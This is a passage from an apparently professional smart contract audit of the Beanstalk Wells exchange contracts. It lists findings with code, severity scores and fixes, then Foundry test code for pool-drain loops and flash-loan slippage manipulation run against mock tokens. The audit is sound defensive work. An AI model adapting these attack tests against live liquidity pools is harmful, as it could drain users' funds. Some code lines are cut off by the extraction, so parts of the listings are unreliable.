201         // Note: The rounding approach of the Well function
202         // determines whether
203         // slippage from imprecision goes to the Well or to the
204         // User.
205         amountIn = reserves[i] - reserveIBefore;
206
207         require(amountIn <= maxAmountIn, "Well: slippage");
208         _setReserves(reserves);
209         _executeSwap(fromToken, toToken, amountIn, amountOut,
210                      recipient);

```

```
208     }
```

BVSS:

A0:A/AC:L/AX:M/C:N/I:H/A:N/D:L/Y:L/R:N/S:U (5.9)

Recommendation:

When updating reserves, check the balances before and after the `transfer()` to make sure the right amount is received by the `Well`.

Remediation Plan:

**SOLVED:** The Beanstalk team solved the issue by adding specific functionality for `feeOnTransfer` tokens in commit `e5441f`.

## 4.6 (HAL-06) MISSING TOKEN ARRAY LENGTH CONTROL IN THE CONSTRUCTOR CAN PREVENT ADDING AND REMOVING LIQUIDITY - LOW (3.1)

### Description:

The `Well.sol` contract accepts up to four tokens on the constructor. If created incorrectly with an array of length four and two zeros in it, contract storage assumes tokens are array lengths of 4.

When performing transactions such as adding or removing liquidity, the contract iterates with the token length over the inputs introduced by the user. If the contract is just supposed to work with two tokens, the array introduced by the user is likely to have two positions. In those cases, the contract will revert with an Index Out Of Bound error.

This same principle also applies to the view functions related to adding or removing liquidity.

### Code Location:

`Well.sol#L258`

**Listing 7: Well.sol (Lines 251,258,259)**

```

250     function addLiquidity(
251         uint[] memory tokenAmountsIn,
252         uint minLpAmountOut,
253         address recipient
254     ) external nonReentrant returns (uint lpAmountOut) {
255         IERC20[] memory _tokens = tokens();
256         uint[] memory reserves = _updatePumps(_tokens.length);
257
258         for (uint i; i < _tokens.length; ++i) {
259             if (tokenAmountsIn[i] == 0) continue;
260             _tokens[i].safeTransferFrom(

```

```

261             msg.sender,
262             address(this),
263             tokenAmountsIn[i]
264         );
265         reserves[i] = reserves[i] + tokenAmountsIn[i];
266     }
267     lpAmountOut = _calcLpTokenSupply(wellFunction(), reserves)
↳ - totalSupply();
268
269     require(lpAmountOut >= minLpAmountOut, "Well: slippage");
270     _mint(recipient, lpAmountOut);
271     _setReserves(reserves);
272     emit AddLiquidity(tokenAmountsIn, lpAmountOut);
273 }
```

Well.sol#L307

**Listing 8: Well.sol (Line 195)**

```

296     function removeLiquidity(
297         uint lpAmountIn,
298         uint[] calldata minTokenAmountsOut,
299         address recipient
300     ) external nonReentrant returns (uint[] memory tokenAmountsOut
↳ ) {
301         IERC20[] memory _tokens = tokens();
302         uint[] memory reserves = _updatePumps(_tokens.length);
303         uint lpTokenSupply = totalSupply();
304
305         tokenAmountsOut = new uint[](_tokens.length);
306         _burn(msg.sender, lpAmountIn);
307         for (uint i; i < _tokens.length; ++i) {
308             tokenAmountsOut[i] = (lpAmountIn * reserves[i]) /
↳ lpTokenSupply;
309             require(
310                 tokenAmountsOut[i] >= minTokenAmountsOut[i],
311                 "Well: slippage"
312             );
313             _tokens[i].safeTransfer(recipient, tokenAmountsOut[i])
↳ ;
314             reserves[i] = reserves[i] - tokenAmountsOut[i];
315         }
316 }
```

```
317         _setReserves(reserves);
318         emit RemoveLiquidity(lpAmountIn, tokenAmountsOut);
319     }
```

### Proof Of Concept:

This test creates a Well with an array of four tokens, but just giving non-zero values to two of them. It attempts to add liquidity with a two length array of amounts.

#### Listing 9: Tester.t.sol

```
1   function testIndexOutOfBounds() public {
2       IERC20[] memory ltokens = new IERC20[](4);
3       ltokens[0] = tokens[0];
4       ltokens[1] = tokens[1];
5       Call[] memory _pumps = new Call[](0);
6
7       Well well = Well(auger.bore( 'MyWell', 'Well', ltokens,
8       ↳ Call(address(new ConstantProduct2()), new bytes(0)), _pumps));
9
10      tokens[0].mint(user4, 10 ether);
11      tokens[1].mint(user4, 10 ether);
12      tokens[0].mint(user2, 10 ether);
13
14      uint[] memory tokenAmountsIn = new uint[](2);
15      tokenAmountsIn[0] = 10 ether;
16      tokenAmountsIn[1] = 10 ether;
17
18      vm.startPrank(user4);
19
20      tokens[0].approve(address(well), 10 ether);
21      tokens[1].approve(address(well), 10 ether);
22      well.addLiquidity(tokenAmountsIn, 0, user4);
23
24      vm.stopPrank();
25  }
```

As it is possible to observe from the next screenshot, the test triggers the revert as previously explained.

## BVSS:

A0:A/AC:L/AX:L/C:N/I:N/A:L/D:N/Y:N/R:N/S:C (3.1)

### Recommendation:

Do not allow creating a Well with token zero as address. Also, check the length of the user input on add and remove liquidity functions, comparing it to the token length obtained from storage before iterating.

## Remediation Plan:

**ACKNOWLEDGED:** The Beanstalk team acknowledged this issue.

## 4.7 (HAL-07) UNNECESSARY TYPE CASTING - INFORMATIONAL (0.0)

Description:

The function `calcReserve` of the `ConstantProduct2.sol` contract casts to `uint` an operation that is already performed between `uint` type variables.

Code Location:

Code Section - `ConstantProduct2.sol#L42`

**Listing 10: ConstantProduct2.sol (Line 42)**

```
36 function calcReserve(
37     uint[] calldata reserves,
38     uint j,
39     uint lpTokenSupply,
40     bytes calldata
41 ) external override pure returns (uint reserve) {
42     reserve = uint((lpTokenSupply / 2) ** 2) / EXP_PRECISION;
43     reserve = LibMath.roundedDiv(reserve, reserves[j == 1 ? 0 :
↳ 1]);
44 }
```

BVSS:

A0:A/AC:L/AX:L/C:N/I:N/A:N/D:N/Y:N/R:N/S:C (0.0)

Recommendation:

Consider removing the unnecessary casting. Nonetheless, the gas differential testing with and without the casting do not seem any different. Thus, it is possible that is removed automatically by the compiler.

## FINDINGS & TECH DETAILS

Remediation Plan:

**SOLVED:** The Beanstalk team solved the issue in commit [e5441fc7](#).

## 4.8 (HAL-08) USE SAFE TAG IN INLINE ASSEMBLY CODE SECTIONS - INFORMATIONAL (0.0)

### Description:

Solidity 0.8.13 marked the production readiness of the Yul IR pipeline. This, helps to alleviate stack too deep errors and to optimize the code compilation.

To mark a section as memory safe, it is only required to use the next expression when opening an inline assembly block:

**Listing 11: Example Usage**

```
1 assembly ("memory-safe") {  
2     ...  
3 }
```

A memory-safe assembly block may only access the following memory ranges:

- Memory allocated by yourself using a mechanism like the `allocate` function described above.
- Memory allocated by Solidity, e.g. memory within the bounds of a memory array you reference.
- The scratch space between memory offset 0 and 64 mentioned above.
- Temporary memory that is located after the value of the free memory pointer at the beginning of the assembly block, i.e. memory that is “allocated” at the free memory pointer without updating the free memory pointer.

The performance of the new pipeline is not yet always superior to the old one, but it can do much higher-level optimization across functions.

## FINDINGS & TECH DETAILS

BVSS:

A0:A/AC:L/AX:L/C:N/I:N/A:N/D:N/Y:N/R:N/S:C (0.0)

Recommendation:

Consider using the memory safe tag if appropriate for the assembly blocks.

Remediation Plan:

**ACKNOWLEDGED:** The Beanstalk team acknowledged this issue.

## 4.9 (HAL-09) USE CUSTOM ERRORS TO SAVE GAS - INFORMATIONAL (0.0)

### Description:

Custom errors are available from Solidity version 0.8.4. Custom errors save ~50 gas each time they are hit by avoiding having to `allocate` and `store the revert string`. Not defining strings also saves deployment gas.

### BVSS:

A0:A:AC:L/AX:L/C:N/I:N/A:N/D:N/Y:N/R:N/S:C (0.0)

### Recommendation:

Consider replacing all revert strings with custom errors.

### Remediation Plan:

**SOLVED:** The Beanstalk team solved the issue in commit [e5441fc7](#).

## 4.10 (HAL-10) UNNEEDED INITIALIZATION OF INTEGER VARIABLES TO 0 - INFORMATIONAL (0.0)

Description:

As `i` is an `uint256`, it is already initialized to 0. `uint256 i = 0` reassigned the 0 to `i` which wastes gas.

Code Location:

**Listing 12: GeoEmaAndCumSmaPump.sol (Line 88)**

```

81     function pumps() public pure returns (Call[] memory _pumps) {
82         if (numberOfPumps() == 0) return _pumps;
83
84         _pumps = new Call[](numberOfPumps());
85         uint dataLoc = LOC_VARIABLE + numberOfTokens() * 32 +
↳ wellFunctionDataLength();
86
87         uint pumpDataLength;
88         for (uint i = 0; i < _pumps.length; i++) {
89             _pumps[i].target = _getArgAddress(dataLoc);
90             dataLoc += 20;
91             pumpDataLength = _getArgUint256(dataLoc);
92             dataLoc += 32;
93             _pumps[i].data = _getArgBytes(dataLoc, pumpDataLength)
↳ ;
94             dataLoc += pumpDataLength;
95         }
96     }
```

BVSS:

A0:A/AC:L/AX:L/C:N/I:N/A:N/D:N/Y:N/R:N/S:C (0.0)

Recommendation:

It is recommended not to initialize `uint` variables to 0 to reduce the gas costs. For example, use instead:

**Listing 13: GeoEmaAndCumSmaPump.sol (Line 88)**

```
88   for (uint i; i < _pumps.length; i++) {
```

Remediation Plan:

**SOLVED:** The Beanstalk team solved the issue in commit [53b3a11a](#)

# MANUAL TESTING

The manual testing is structured on (1) unit testing of all the functions, (2) integration testing combining sets of transactions testing corner cases, (3) attacking parts of the code to assure that there are no vulnerable, and finally, (4) fuzzing important functions to make sure everything works properly in all cases.

## 5.1 Wells Environment

### Deployment Script:

```
11 ˜ contract MyTest is TestHelper {
12
13     using MyMath for uint256;
14
15     address internal owner;
16     address internal liqPr;
17     address internal floan;
18     address internal alice;
19     address internal bobby;
20     address internal carla;
21     address internal edgar;
22     address internal zeroo;
23     MockToken internal xToken;
24     MockToken internal yToken;
25     MockToken internal zToken;
26     address internal xTokenAdd;
27     address internal yTokenAdd;
28     address internal zTokenAdd;
29
30     uint[] internal tokenAmountsOut;
31     uint256[] internal amounts;
32     uint256[] internal amountsOut;
33     uint256 internal amount;
34     uint256 internal amount1;
35     uint256 internal amount2;
36     uint256 internal amount3;
37     uint256 internal amountX;
38     uint256 internal amountY;
39     uint256 internal amountZ;
40     uint256 internal lpAmountIn;
41     uint256 internal lpAmountOut;
42     uint256 internal amountIn;
43     uint256 internal amountOut;
44     uint256 internal minAmountOut;
45     uint256 internal maxAmountIn;
46
47     uint256 internal timeNow = block.timestamp;
48
49     event AddLiquidity(uint[] amounts);
```

```
50    function setUp() public {
51        owner = vm.addr(0x60DDD);
52        liqPr = vm.addr(0x7181D);
53        floan = vm.addr(0xF7A28);
54        alice = vm.addr(0xA71CE);
55        bobby = vm.addr(0xB0BB1);
56        carla = vm.addr(0xCA47A);
57        edgar = vm.addr(0xED6A4);
58        zeroo = address(0);
59
60        // WELL SETUP
61        xSetupWell(2);
62        logTokenSimpleBalances();
63
64        // MINTING AND TRANSFERS OF ERC20TOKENS
65        xSetupTokens();
66        logTokenSimpleBalances();
67
68        Call memory xWellFunction = well.wellFunction();
69
70        xTokenAdd = address(xToken);
71        yTokenAdd = address(yToken);
```

## Helper Functions:

```

1390 //////////////////////////////////////////////////////////////////
1391 // HELPER FUNCTIONS
1392 //////////////////////////////////////////////////////////////////
1393
1394 function xSwapFrom(IERC20 fromToken, IERC20 toToken, uint256 amountIn, uint256 minAmountOut, address swaper) internal {
1395     console.log("TX: SWAPING... ", swaper);
1396     console.log("");
1397     vm.prank(swaper);
1398     fromToken.approve(address(well), amountIn);
1399     vm.prank(swaper);
1400     amount = well.swapFrom(fromToken, toToken, amountIn, minAmountOut, swaper);
1401 }
1402
1403 function xSwapTo(IERC20 fromToken, IERC20 toToken, uint256 maxAmountIn, uint256 amountOut, address swaper) internal {
1404     console.log("TX: SWAPING... ", swaper);
1405     console.log("");
1406     vm.prank(swaper);
1407     fromToken.approve(address(well), maxAmountIn);
1408     vm.prank(swaper);
1409     well.swapTo(fromToken, toToken, maxAmountIn, amountOut, swaper);
1410 }
1411
1412 function xRemLiq(uint256 lpAmountIn, uint256 amounts1, uint256 amounts2, address provider) internal {
1413     console.log("TX: REMOVING LIQUIDITY... ", provider);
1414     console.log("");
1415     uint256[] memory amountsOut = new uint[](tokens.length);
1416     amountsOut[0] = amounts1;
1417     amountsOut[1] = amounts2;
1418     vm.prank(provider);
1419     well.removeLiquidity(lpAmountIn, amountsOut, provider);
1420 }
1421
1422 function xRemLiq1(uint256 lpAmountIn, IERC20 tokenOut, uint256 minTokenAmountOut, address recipient) internal returns {
1423     console.log("TX: REMOVING LIQUIDITY 1 TOKEN... ", recipient);
1424     console.log("");
1425     vm.prank(recipient);
1426     amount = well.removeLiquidityOneToken(lpAmountIn, tokenOut, minTokenAmountOut, recipient);
1427 }
1428
1429 function xRemLiqImb(uint256 maxLpAmountIn, uint[] calldata tokenAmountsOut, address recipient) internal returns (uint):
1430     console.log("TX: REMOVING LIQUIDITY IMBALANCED... ", recipient);
1431     console.log("");
1432     vm.prank(recipient);
1433     amount = well.removeLiquidityImbalanced(maxLpAmountIn, tokenAmountsOut, recipient);
1434
1435
1436 function xAddLiq(address provider, address token1, address token2, uint256 amount1, uint256 amount2, uint256 lpAmount)
1437     console.log("TX: ADDING LIQUIDITY... ", provider);
1438     console.log("");
1439     amounts = new uint[](tokens.length);
1440     amounts[0] = amount1;
1441     amounts[1] = amount2;
1442     //amounts[2] = amount3;
1443     vm.startPrank(provider);
1444     IERC20(address(token1)).approve(address(well), amount1);
1445     IERC20(address(token2)).approve(address(well), amount2);
1446     //IERC20(address(token3)).approve(address(well), amount3);
1447     wellAmount = well.addLiquidity(amounts, lpAmountOut, provider);
1448     vm.stopPrank();
1449 }
1450
1451 function xSetupWell(uint n) internal {
1452     Call[] memory _pumps = new Call[](0);
1453     xSetupWell(
1454         n,
1455         Call(address(new ConstantProduct2())), new bytes(0),
1456         _pumps
1457     );
1458 }
```

```
1460     function xSetupWell(uint n, Call memory _function, Call[] memory _pumps) internal {
1461         wellFunction = _function;
1462         for(uint i = 0; i < _pumps.length; i++)
1463             pumps.push(_pumps[i]);
1464
1465         xToken = new MockToken("xToken", "XTOK", 18);
1466         yToken = new MockToken("yToken", "YTOK", 18);
1467         //zToken = new MockToken("zToken", "ZTOK", 18);
1468
1469         xTokenAdd = address(xToken);
1470         yTokenAdd = address(yToken);
1471         //zTokenAdd = address(zToken);
1472
1473         tokens.push(xToken);
1474         tokens.push(yToken);
1475         //tokens.push(zToken);
1476
1477         auger = new Auger();
1478         well = Well(auger.bore(
1479             "XTOK:YTOK Constant Product Well",
1480             "XTOKYTOKCPw",
1481             tokens,
1482             _function,
1483             _pumps
1484         ));
1485
1486         //well = new Well(tokens, _function, _pumps, "XTOK:YTOK Constant Product Well", "XTOKYTOKCPw");
1487     }
1488
1489     function xSetupTokens() internal {
1490         // DEPLOYING AND MINTING TOKEN
1491         xToken.mint(owner, 1_000_000_000_000_000_000_000_0000000000000000);
1492         yToken.mint(owner, 1_000_000_000_000_000_000_000_0000000000000000);
1493         //zToken.mint(owner, 1000_000_000_0000000000000000000000);
1494
1495         vm.startPrank(owner);
1496         xToken.transfer(floan, 10_000_000_000_000_000_0000000000000000);
1497         yToken.transfer(floan, 10_000_000_000_000_000_0000000000000000);
1498
1499         xToken.transfer(liqPr, 100_000_000_0000000000000000000000);
1500         yToken.transfer(liqPr, 100_000_000_0000000000000000000000);
1501         //zToken.transfer(liqPr, 10_000_000_000000000000000000000000);
1502
1503         // xToken.transfer(alice, 10_000_000_000000000000000000000000);
1504         // yToken.transfer(alice, 10_000_000_000000000000000000000000);
1505         // zToken.transfer(alice, 25_000_000_000000000000000000000000);
1506         xToken.transfer(alice, 100_000_000_000_00000000000000000000);
1507         yToken.transfer(alice, 100_000_000_000000000000000000000000);
1508
1509         xToken.transfer(bobby, 100_000_000_000000000000000000000000);
1510         yToken.transfer(bobby, 100_000_000_000000000000000000000000);
1511         //zToken.transfer(bobby, 250_000_0000000000000000000000000000);
1512
1513         xToken.transfer(carla, 100_000_0000000000000000000000000000);
1514     }
1515 }
```

```

1517     function logTokenSimpleBalances() internal {
1518         console.log("***** X TOKEN BALANCES *****");
1519         console.log("X Balance Of Liquidity Prov    --> ", xToken.balanceOf(liqPr));
1520         console.log("X Balance Of Flash Loan Prov   --> ", xToken.balanceOf(floan));
1521         console.log("X Balance Of Alice           --> ", xToken.balanceOf(alice));
1522         console.log("X Balance Of Bobby          --> ", xToken.balanceOf(bobby));
1523         console.log("X Balance Of Carla          --> ", xToken.balanceOf(carla));
1524         console.log(" ");
1525         console.log("***** Y TOKEN BALANCES *****");
1526         console.log("Y Balance Of Liquidity Prov    --> ", yToken.balanceOf(liqPr));
1527         console.log("Y Balance Of Flash Loan Prov   --> ", yToken.balanceOf(floan));
1528         console.log("Y Balance Of Alice           --> ", yToken.balanceOf(alice));
1529         console.log("Y Balance Of Bobby          --> ", yToken.balanceOf(bobby));
1530         console.log("Y Balance Of Carla          --> ", yToken.balanceOf(carla));
1531         console.log(" ");
1532         // console.log("***** Z TOKEN BALANCES *****");
1533         // console.log("Z Balance Of Liquidity Prov    --> ", zToken.balanceOf(liqPr));
1534         // console.log("Z Balance Of Alice           --> ", zToken.balanceOf(alice));
1535         // console.log("Z Balance Of Bobby          --> ", zToken.balanceOf(bobby));
1536         // console.log("Z Balance Of Carla          --> ", zToken.balanceOf(carla));
1537         // console.log(" ");
1538     }
1539
1540     function logTokenComplexBalances() internal {
1541         console.log("***** X TOKEN BALANCES *****");
1542         console.log("X Balance Of Well            --> ", xToken.balanceOf(address(well)));
1543         console.log("X Balance Of Liquidity Prov    --> ", xToken.balanceOf(liqPr));
1544         console.log("X Balance Of Flash Loan Prov   --> ", xToken.balanceOf(floan));
1545         console.log("X Balance Of Alice           --> ", xToken.balanceOf(alice));
1546         console.log("X Balance Of Bobby          --> ", xToken.balanceOf(bobby));
1547         console.log("X Balance Of Carla          --> ", xToken.balanceOf(carla));
1548         console.log(" ");
1549         console.log("***** Y TOKEN BALANCES *****");
1550         console.log("Y Balance Of Well            --> ", yToken.balanceOf(address(well)));
1551         console.log("Y Balance Of Liquidity Prov    --> ", yToken.balanceOf(liqPr));
1552         console.log("Y Balance Of Flash Loan Prov   --> ", yToken.balanceOf(floan));
1553         console.log("Y Balance Of Alice           --> ", yToken.balanceOf(alice));
1554         console.log("Y Balance Of Bobby          --> ", yToken.balanceOf(bobby));
1555         console.log("Y Balance Of Carla          --> ", yToken.balanceOf(carla));
1556         console.log(" ");
1557         // console.log("***** Z TOKEN BALANCES *****");
1558         // console.log("Z Balance Of Liquidity Prov    --> ", zToken.balanceOf(liqPr));
1559         // console.log("Z Balance Of Alice           --> ", zToken.balanceOf(alice));
1560         // console.log("Z Balance Of Bobby          --> ", zToken.balanceOf(bobby));
1561         // console.log("Z Balance Of Carla          --> ", zToken.balanceOf(carla));
1562         // console.log(" ");
1563         console.log("***** LP WELL TOKEN BALANCES *****");
1564         console.log("LP Balance Of Liquidity Prov    --> ", well.balanceOf(liqPr));
1565         console.log("LP Balance Of Alice           --> ", well.balanceOf(alice));
1566         console.log("LP Balance Of Bobby          --> ", well.balanceOf(bobby));
1567         console.log("LP Balance Of Carla          --> ", well.balanceOf(carla));
1568         console.log(" ");
1569     }
1570
1571     function logReserves() internal {
1572         console.log("***** WELL RESERVES *****");
1573         uint256[] memory reserves = well.getReserves();
1574         console.log("RESERVE 1      --> ", reserves[0]);
1575         console.log("RESERVE 2      --> ", reserves[1]);
1576         console.log("RESERVE 3      --> ", reserves[2]);
1577         console.log(" ");
1578     }

```

## 5.2 Significant Tests for Wells

Here are some examples of the tests performed:

```

966 // Test B
967 // Add Liquidity Attack
968 function testAddLiquidityAttackDesbalanced2() public {
969     // XTOKEN AND YTOKEN SAME VALUE
970     console.log("-----");
971     console.log("LIQPR TOTAL VALUE ON Y TOKEN: ", xToken.balanceOf(liqPr) + yToken.balanceOf(liqPr));
972     console.log("ALICE TOTAL VALUE ON Y TOKEN: ", xToken.balanceOf(alice) + yToken.balanceOf(alice));
973     logTokenComplexBalances();
974     // SETUP LIQUIDITY PROVIDER ADDING LIQUIDITY
975     amount1 =           1_000_0000000000000000;
976     amount2 =           1_000_0000000000000000;
977     lpAmountOut =      2_000_000_000_00000000000000;
978
979     xAddLiq(address(liqPr), xTokenAdd, yTokenAdd, amount1, amount2, lpAmountOut);
980     //logTokenComplexBalances();
981
982     // ALICE PROVIDER ADDING LIQUIDITY
983     amount1 =           500_0000000000000000;
984     amount2 =           1_500_0000000000000000;
985     lpAmountOut =      1_872_983_346_207_416885179265399782;
986
987     xAddLiq(address(alice), xTokenAdd, yTokenAdd, amount1, amount2, lpAmountOut);
988     //logTokenComplexBalances();
989
990     lpAmountIn =        1_872_983_346_207_416885179265399782;
991     amount1 =           1_0000000000000000000;
992     amount2 =           1_0000000000000000000;
993     xRemLiq(lpAmountIn, amount1, amount2, address(alice));
994     //logTokenComplexBalances();
995
996     lpAmountIn =        2_000_000_000_000_0000000000000000;
997     amount1 =           1_0000000000000000000;
998     amount2 =           1_0000000000000000000;
999     xRemLiq(lpAmountIn, amount1, amount2, address(liqPr));
1000    logTokenComplexBalances();
1001
1002    console.log("LIQPR TOTAL VALUE ON Y TOKEN: ", xToken.balanceOf(liqPr) + yToken.balanceOf(liqPr));
1003    console.log("ALICE TOTAL VALUE ON Y TOKEN: ", xToken.balanceOf(alice) + yToken.balanceOf(alice));
1004    // ATTACK NOT SUCCEED
1005 }
1006
1007 function testDrainPool() public {
1008     uint256 minLpAmountOut;
1009
1010     amount1 =           100_000_000000000000000000;
1011     amount2 =           100_000_000000000000000000;
1012     minLpAmountOut =   1;
1013     xAddLiq(address(liqPr), xTokenAdd, yTokenAdd, amount1, amount2, minLpAmountOut);
1014
1015     for (uint256 i; i < 10; ++i) {
1016         amount1 =           0;
1017         amount2 =           1_0000000000000000000;
1018         minLpAmountOut =   1;
1019         uint256 wells = xAddLiq(address(alice), xTokenAdd, yTokenAdd, amount1, amount2, minLpAmountOut);
1020
1021         uint256 amountX = xRemLiq(wells, IERC20(xTokenAdd), 1, alice);
1022
1023         uint amountY = xSwapFrom(IERC20(xTokenAdd), IERC20(yTokenAdd), amountX, 1, alice);
1024
1025         logTokenSimpleBalances();
1026     }
1027 }
```

```
667     function testDrainPool2() public {
668         uint256 minLpAmountOut;
669
670         amount1 = 100_000_000000000000000000;
671         amount2 = 200_000_000000000000000000;
672         minLpAmountOut = 1;
673         xAddLiq(address(liqPr), xTokenAdd, yTokenAdd, amount1, amount2, minLpAmountOut);
674
675         amount1 = 0;
676         amount2 = 10_0000000000000000;
677         minLpAmountOut = 1;
678
679         for (uint256 i; i < 10; ++i) {
680             uint256 wells = xAddLiq(address(alice), xTokenAdd, yTokenAdd, amount1, amount2, minLpAmountOut);
681             uint amountY = xSwapFrom(IERC20(xTokenAdd), IERC20(yTokenAdd), 1_0000000000000000, 1, alice);
682             amount2 = xRemLiq1t(wells, IERC20(yTokenAdd), 1, alice);
683             amount2 = amount2 + amountY;
684             logTokenSimpleBalances();
685         }
686     }
687
688     function testDrainPool3() public {
689         uint256 minLpAmountOut;
690
691         amount1 = 100_000_000000000000000000;
692         amount2 = 100_000_000000000000000000;
693         minLpAmountOut = 1;
694         xAddLiq(address(liqPr), xTokenAdd, yTokenAdd, amount1, amount2, minLpAmountOut);
695
696         amount1 = 0;
697         amount2 = 10_0000000000000000;
698         minLpAmountOut = 1;
699         for (uint256 i; i < 10; ++i) {
700
701             uint256 wells = xAddLiq(address(alice), xTokenAdd, yTokenAdd, amount1, amount2, minLpAmountOut);
702             uint amountY = xSwapFrom(IERC20(xTokenAdd), IERC20(yTokenAdd), 1_0000000000000000, 1, alice);
703             uint amountX = xRemLiq1t(wells, IERC20(xTokenAdd), 1, alice);
704             amount2 = xSwapFrom(IERC20(xTokenAdd), IERC20(yTokenAdd), amountX, 1, alice);
705             amount2 = amount2 + amountY;
706             logTokenSimpleBalances();
707         }
708     }
```

```
function testSpecificSlippageManipulationX1() public {
    logTokenComplexBalances();
    // ----- SETUP -----
    // token 1 (xToken) worth 1$
    // token 2 (yToken) worth 2$
    amount2 = 407_881_372044690609611731;
    amount1 = 2 * amount2;
    minAmountOut = 1;
    xAddLiq(address(liqPr), xTokenAdd, yTokenAdd, amount1, amount2, minAmountOut);

    uint256 value1 = xToken.balanceOf(alice) + 2 * yToken.balanceOf(alice);
    // ----- SCENARIO 1 -----
    uint256 amountIn = 10_178_19835730689611534;
    uint256 swap = xSwapFrom(IERC20(xTokenAdd), IERC20(yTokenAdd), amountIn, 1, alice);
    //xRemLiq(well.balanceOf(liqPr), 1, 1, liqPr);

    console.log("Total token value in $$$: ", value1);

    // SWAP IS REVERTED
    xSwapFrom(IERC20(yTokenAdd), IERC20(xTokenAdd), amountIn, 1, alice);

    // ----- SCENARIO 2 -----
    console.log("----- SCENARIO 2 -----");

    // ALICE RECEIVES A FLASHLOAN
    vm.startPrank(floan);
    uint256 flashAmountY = 17_860_885896890698776930;
    uint256 flashAmountX = 2 * flashAmountY;
    xToken.transfer(alice, flashAmountX);
    yToken.transfer(alice, flashAmountY);
    vm.stopPrank();

    // ALICE ADDS BIG AMOUNT OF LIQUIDITY
    xAddLiq(address(alice), xTokenAdd, yTokenAdd, flashAmountX, flashAmountY, minAmountOut);

    // ALICE PERFORMS THE SAME SWAP
    swap = xSwapFrom(IERC20(xTokenAdd), IERC20(yTokenAdd), amountIn, 1, alice);

    // ALICE REMOVES LIQUIDITY AND PAYS THE FLASHLOAN
    xRemLiq(well.balanceOf(alice), 1, 1, alice);
    vm.startPrank(alice);
    xToken.transfer(floan, flashAmountX);
    yToken.transfer(floan, flashAmountY);
    vm.stopPrank();

    logTokenComplexBalances();
    uint256 value2 = xToken.balanceOf(alice) + 2 * yToken.balanceOf(alice);
    console.log("Total token value in $$$: ", value2);
    if (value2 > value1) {console.log("DIF: ", value2 - value1);}
    console.log("REL_DIF: ", value2 * 1e18 / value1);

    xRemLiq(well.balanceOf(liqPr), 1, 1, liqPr);

    logTokenComplexBalances();
    console.log("LiqPr Total token value in $$$: ", xToken.balanceOf(liqPr) + 2 * yToken.balanceOf(liqPr));
```

```

function testFuzzSlippageManipulationX(uint128 amount2, uint128 amountIn, uint128 flashAmountY) public {
    if (amount2 >= 10_000_0000000000000000000000000000
        && amountIn >= 10_000_0000000000000000000000000000
        && flashAmountY >= 10_000_0000000000000000000000000000
        && amount2 <= 1_000_000_00000000000000000000000000
        && amountIn <= 100_000_0000000000000000000000000000
        && flashAmountY <= 1_000_000_00000000000000000000000000){
        // ----- SETUP -----
        // token 1 (xToken) worth 1$
        // token 2 (yToken) worth 2$
        amount1 = 2 * amount2;
        minAmountOut = 1;
        xAddLiq(address(liqPr), xTokenAdd, yTokenAdd, amount1, amount2, minAmountOut);
        uint256 value1 = xToken.balanceOf(alice) + 2 * yToken.balanceOf(alice);

        // ----- SCENARIO 1 -----
        uint256 swap = xSwapFrom(IERC20(xTokenAdd), IERC20(yTokenAdd), amountIn, 1, alice);
        uint256 value3 = xToken.balanceOf(alice) + 2 * yToken.balanceOf(alice);
        console.log("Total token value in $$$: ", value3);

        // SWAP IS REVERTED
        xSwapFrom(IERC20(yTokenAdd), IERC20(xTokenAdd), amountIn, 1, alice);

        // ----- SCENARIO 2 -----
        console.log("----- SCENARIO 2 -----");

        // ALICE RECEIVES A FLASHLOAN
        vm.startPrank(floan);
        uint256 flashAmountX = 2 * flashAmountY;
        xToken.transfer(alice, flashAmountX);
        yToken.transfer(alice, flashAmountY);
        vm.stopPrank();

        // ALICE ADDS BIG AMOUNT OF LIQUIDITY
        xAddLiq(address(alice), xTokenAdd, yTokenAdd, flashAmountX, flashAmountY, minAmountOut);

        // ALICE PERFORMS THE SAME SWAP
        swap = xSwapFrom(IERC20(xTokenAdd), IERC20(yTokenAdd), amountIn, 1, alice);

        // ALICE REMOVES LIQUIDITY AND PAYS THE FLASHLOAN
        xRemLiq(well.balanceOf(alice), 1, 1, alice);
        vm.startPrank(alice);
        xToken.transfer(floan, flashAmountX);
        yToken.transfer(floan, flashAmountY);
        vm.stopPrank();

        uint256 value2 = xToken.balanceOf(alice) + 2 * yToken.balanceOf(alice);
        console.log("Total token value in $$$ with Normal Swap -----> ", value3);
        console.log("Total token value in $$$ with Slippage Manipulation -----> ", value2);
        if (value2 > value3) {console.log("DIF: ", value2 - value3);}
        console.log("REL_DIF: ", value2 * 1e18 / value1);

        logTokenComplexBalances();
        if ((value2 * 1e18 / value1) > 99999999998100000) {
            revert();
        }
    }
}

```

```

function testRemoveLiquidityImbalancedPuzzing(uint256 amountA, uint256 amountB) public {
    if (amountA > 0) {
        // LIQPR ADD LIQUIDITY
        amount1 =
            1_000_000_0000000000000000;
        amount2 =
            2_000_000_0000000000000000;
        lpAmountOut =
            1;
        xAddLiq(address(liqPr), xTokenAdd, yTokenAdd, amount1, amount2, lpAmountOut);

        // ALICE DO THE SWAP
        uint256 swap = xSwapFrom(IERC20(xTokenAdd), IERC20(yTokenAdd), amountA / 2, 1, alice);

        // ALICE RETURN INITIAL STATE
        xSwapFrom(IERC20(yTokenAdd), IERC20(xTokenAdd), swap, 1, alice);

        // ALICE DO ADD LIQ
        maxAmountIn = xAddLiq(address(alice), xTokenAdd, yTokenAdd, amountA, amountB, lpAmountOut);

        uint256 amountOutA = amountA/2;
        //uint256[2] memory reserves = [amount1 + amountIn, 0];
        uint256 reserveWells = ((well.totalSupply() / 2) * 2) / 1e18;
        uint256 reserveB = amount2 + amountB;
        uint256 amountOutB = MyMath.roundedDiv(reserveWells, reserveB);

        tokenAmountsOut.push(amountOutA);
        tokenAmountsOut.push(amountOutB);

        well.removeLiquidityImbalanced(maxAmountIn, tokenAmountsOut, alice);

        //maxAmountIn = xAddLiq(address(alice), xTokenAdd, yTokenAdd, amountA, amountB, lpAmountOut);
        //console.log("Amount in: ",maxAmountIn);
    }
}

1153   function testRemoveLiquidityImbalancedVsSwap() public {
1154       amount1 =
            1_000_000_0000000000000000;
1155       amount2 =
            2_000_000_0000000000000000;
1156       lpAmountOut =
            1;
1157       xAddLiq(address(liqPr), xTokenAdd, yTokenAdd, amount1, amount2, lpAmountOut);

1159       uint256 priceOfYInX = amount1/amount2;
1160       uint256 value = xToken.balanceOf(alice) + yToken.balanceOf(alice) * priceOfYInX;
1161       console.log("Value of X, Y, W in X", value);

1163       // ALICE DO THE SWAP
1164       uint256 amountIn = 500_0000000000000000;
